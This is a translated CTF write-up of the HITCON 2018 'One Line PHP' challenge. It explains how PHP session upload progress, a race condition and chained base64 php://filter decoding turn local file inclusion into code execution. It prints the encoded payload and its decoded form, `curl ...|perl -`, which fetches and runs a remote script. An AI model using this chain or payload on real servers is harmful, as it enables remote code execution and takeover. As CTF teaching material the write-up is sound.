原文:http://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

起因

在每年的HITCON CTF中,我都会准备至少一个PHP漏洞利用作为挑战,一般是源代码非常简单,简单易于查看但很难利用!我把所有的挑战放在了github里,下面是一些历史赛题 : P

2017 Baby ^ H Master PHP 2017

  • Phar协议在恶意对象反序列化中的使用
  • 硬编码\x00lambda_%d在匿名函数名称中的妙用
  • 在Apache Pre-fork模式中中断共享VARIABLE状态

2017 BabyFirst Revenge v2

  • 限长为4个字节的命令注入

2016 BabyTrick

2015 Babyfirst

  • PHP正则表达式中的多行匹配
  • 无符号的命令注入

2015 Use-After-FLEE

今年,我设计了另一个赛题,它是我所有挑战中最“短”的一个 - One Line PHP挑战!(还有另外一个PHP代码审查,叫做Baby Cake的你可能会感兴趣!)它只有3个团队(一个有1816个团队)在比赛期间被解决。这一挑战展示了如何极致压缩和精简PHP代码。最初的想法是来自chtg57PHP漏洞报告。由于session.upload_progress在PHP中默认启用,因此我们可以控制PHP SESSION文件中的部分内容!从这个功能点开始,我设计了这次的挑战!

挑战很简单,只需一行,并已知它在默认安装的Ubuntu 18.04 + PHP7.2 + Apache下运行。这是完整的源代码:

使用PHP上传线程特定,虽然我们可以控制SESSION文件中的部分内容,但仍有几个部分需要解决!

文件包含的问题

在现在PHP配置中,allow_url_include总是Off的,如此RFI(Remote file inclusion远程文件包含)不可能,并且由于新版本的Apache和PHP的强化,它也不能包含LFI(本地文件包含)利用中的常见路径,例如/proc/self/environs或/var/log/apache2/access.log等。

也没有地方可以泄漏PHP上传临时文件名,所以LFI WITH PHPINFO() ASSISTANCE也是不可能的:(

session的问题

PHP检查session.auto_start的值或者函数session_start()以了解是否需要处理当前请求的会话。不幸的是,默认值session.auto_start是Off。但是,如果您提供PHP_SESSION_UPLOAD_PROGRESS在多部分POST数据里就很有意思了。这时候PHP将为您启用会话 :P

$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'  -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange

session清除的问题

虽然Internet上的大多数教程都建议您设置session.upload_progress.cleanup为Off进行调试。session.upload_progress.cleanup在PHP中的默认值仍然是 On。这意味着会话中的上传进度将尽快清除!
在这里我们使用条件竞争来找到我们的数据!
(另一个想法是上传一个大文件来保持进度)

前缀问题

好的,现在我们可以控制远程服务器中的一些数据,但最后一个悲剧是文件内容的前缀。由于默认设置session.upload_progress.prefix,我们的SESSION文件将以恼人的upload_progress_前缀开头。如图:

为了匹配@<?php。在这里,我们结合多个PHP数据流处理来绕过那个烦人的前缀问题。如:

php://filter/[FILTER_A]/.../resource=/var/lib/php/session/sess...

在PHP中,base64将忽略无效字符。因此,我们将多个convert.base64-decode过滤器与payload相结合VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy`
SESSION文件看起来像这样:

Ps:我们添加ZZ为填充以适应前一个垃圾数据

之后第一个convert.base64-decodepayload将如下所示:

��hi�k�
޲�YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2

(这里的行号有点看起来不和谐)

第二次,PHP将hikYUU...解码为:

�) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

第三执行convert.base64-decode,它成为我们shell的payload:

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

好的,通过使用上述技术(PHP的session上传机制+条件竞争+ PHP数据流处理),我们可以恢复shell代码!
这是最后的漏洞利用exp!

(有问题欢迎指出)

点击收藏 | 0 关注 | 1
登录 后跟帖